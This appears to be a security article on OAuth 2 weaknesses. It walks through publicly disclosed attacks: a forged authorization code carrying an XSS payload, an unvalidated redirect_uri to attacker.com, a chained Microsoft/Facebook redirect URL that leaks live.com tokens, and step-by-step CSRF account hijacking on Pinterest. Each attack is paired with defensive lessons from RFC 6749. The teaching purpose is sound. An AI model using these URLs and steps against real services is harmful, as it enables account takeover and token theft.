OAuth 2 overview
This article assumes that readers are familiar with OAuth 2. However, below a brief description of it is presented below.
- The application requests authorization to access service resources from the user. The application needs to provide the client ID, client secret, redirect URI and the required scopes.
- If the user authorizes the request, the application receives an authorization grant
- The application requests an access token from the authorization server by presenting authentication of its own identity, and the authorization grant
- If the application identity is authenticated and the authorization grant is valid, the authorization server issues the access and refresh (if required) token to the application. Authorization is complete.
- The application requests the resource from the resource server and presents the access token for authentication
- If the access token is valid, the resource server serves the resource to the application
The are some main Pros and Cons in OAuth 2.0
- OAuth 2.0 is easier to use and implement (compared to OAuth 1.0)
- Wide spread and continuing growing
- Short lived Tokens
- Encapsulated Tokens
— No signature (relies solely on SSL/TLS ), Bearer Tokens
— No built-in security
— Can be dangerous if used from not experienced people
— Too many compromises. Working group did not make clear decisions
— Mobile integration (web views)
— Oauth 2.0 spec is not a protocol, it is rather a framework — RFC 6749
OAuth 2 Hacks
Authorization code can be used more than once
Google attack example:
- Register a client id
- Obtain an authorization token in the authorization endpoint (https://accounts.google.com/o/oauth2/auth) e.g.
- Now change the authorization code from
4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
To
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>
and ask for an access token.
As said this is going to be a valid authorization code and the access token is received due to the fact that the authorization code is of the form TOKEN1.TOKEN2 and only TOKEN1 is validated! - Indeed re-request the access token using the same forged authorization code (namely
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>
The authorization code is no longer accepted since the authorization code can be used only once. The interesting part of all this is how the token endpoint answers to this no longer valid authorization code. Indeed the error response looked like this: Token Record:
Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>"
...
as you can see the output is not sanitized.
Lesson learned:
The client MUST NOT use the authorization code more than once. If an authorization code is used more than once, the authorization server MUST deny the request and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.
Redirect URI not validated
Now let's assume an attacker:
- Registers a new client to the victim.com provider.
- Registers a redirect URI like attacker.com.
Then the attacker can craft a special URI of the form
http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com
Now you might argue that this is ONLY an open redirect and it is not much you can do with it right?
Let's go through Microsoft and Facebook example:
Microsoft uses a specialized OAuth scope wli.contacts_emails which is available only to Facebook’s app. An interesting part is that users are never notified that the app is trying to access their data and permission is granted silently.
You can try this here (you’ll have to login):
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F
If you try to modify #### redirect_uri parameter you’ll notice that token is issued to any URL within #### facebook.com domain. So to leak the OAuth token to a malicious third-party an Open Redirect in #### facebook.com domain would be required. As Open Redirects are usually considered low severity vulnerabilities it's not particularly hard to find one. For this example we will utilize an Open Redirect in Facebook’s authorization flow (by providing an invalid #### scope parameter). It works like this:
https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com
So by chaining the two bugs we are able to acquire OAuth tokens from live.com users. The complete example is here:
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com
If you now inspect the destination URL, you'll notice that Microsoft's OAuth token was sent to a third-party website without your consent. Another example is redirection to domain XSS vulnerable page, where script can still access token.
Lessons learned:
OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect. Also developers should be careful when silently granting access to apps (manually approving an app probably will not make user experience much worse).
The ONLY safe validation method for redirect_uri the authorization server should adopt is exact matching
If the resource owner denies the access request or if therequest fails for reasons other than a missing or invalid redirection URI, the authorization server informs the client by adding the following parameters to the query component of the redirection URI using the "application/x-www-form- urlencoded" format
Respond with an HTTP 400 (Bad Request) status code.
Cross-site request forgery OAuth Client
A CSRF attack against the client's redirection URI allows an attacker to inject their own authorization code or access token, which can result in the client using an access token associated with the attacker's protected resources rather than the victim's (e.g. save the victim's bank account information to a protected resource controlled by the attacker).
Choose Client which suits hack's "condition" — some site.com(we will use Pinterest as showcase) Start authentication process — click "Add OAuth Provider login". You need to get callback from Provider but should not visit it.
Do not visit the last URL(
http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI#
), just save and put it into img src="URL" or iframe or anything else you prefer to send requests.
Now all you need is to make the User (some certain target or random site.com user) to send HTTP request on your callback URL. You can force him to visit example.com/somepage.html which contains iframe src=URL, post img on his wall, send him an email/tweet, whatever. User must be logged in site.com when he sends the request.
Well done, your oauth account is attached to User's account on site.com.
Voila, press Log In with that OAuth Provider — you are logged in directly to User's account on site.com
Lessons learned:
The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state (e.g. a hash of the session cookie used to authenticate the user-agent). The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.
Once authorization has been obtained from the end-user, the authorization server redirects the end-user's user-agent back to the client with the required binding value contained in the "state" parameter. The binding value enables the client to verify the validity of the request by matching the binding value to the user- agent's authenticated state. The binding value used for CSRF protection MUST contain a non-guessable value, and the user-agent's authenticated state (e.g.session cookie, HTML5 local storage) MUST be kept in a location accessible only to the client and the user-agent (i.e., protected by same-origin policy).
A CSRF attack against the authorization server's authorization endpoint can result in an attacker obtaining end-user authorization for a malicious client without involving or alerting the end-user.
The authorization server MUST implement CSRF protection for its authorization endpoint, and ensure that a malicious client cannot obtain authorization without the awareness and explicit consent of the resource owner.
Access token part of the URI
Because of the security weaknesses associated with the URI method, including the high likelihood that the URL containing the access token will be logged, it SHOULD NOT be used unless it is impossible to transport the access token in the "Authorization" request header field or the HTTP request entity-body. Resource servers MAY support this method.
http://andrisatteka.blogspot.com/2014/09/how-microsoft-is-giving-your-data-to.html
http://blog.intothesymmetry.com/2015/04/open-redirect-in-rfc6749-aka-oauth-20.html
OAuth 2.0 web site — http://oauth.net/2/
OAuth 2.0 — http://tools.ietf.org/html/rfc6749
Bearer Token — http://tools.ietf.org/html/rfc6750
http://oauth.net/articles/authentication/
http://intothesymmetry.blogspot.ch/
https://www.manning.com/books/oauth-2-in-action
https://tools.ietf.org/html/draft-ietf-oauth-v2-27#section-10.12
https://www.owasp.org/images/6/61/20151215-Top_X_OAuth_2_Hacks-asanso.pdf
http://homakov.blogspot.com/2012/07/saferweb-most-common-oauth2.html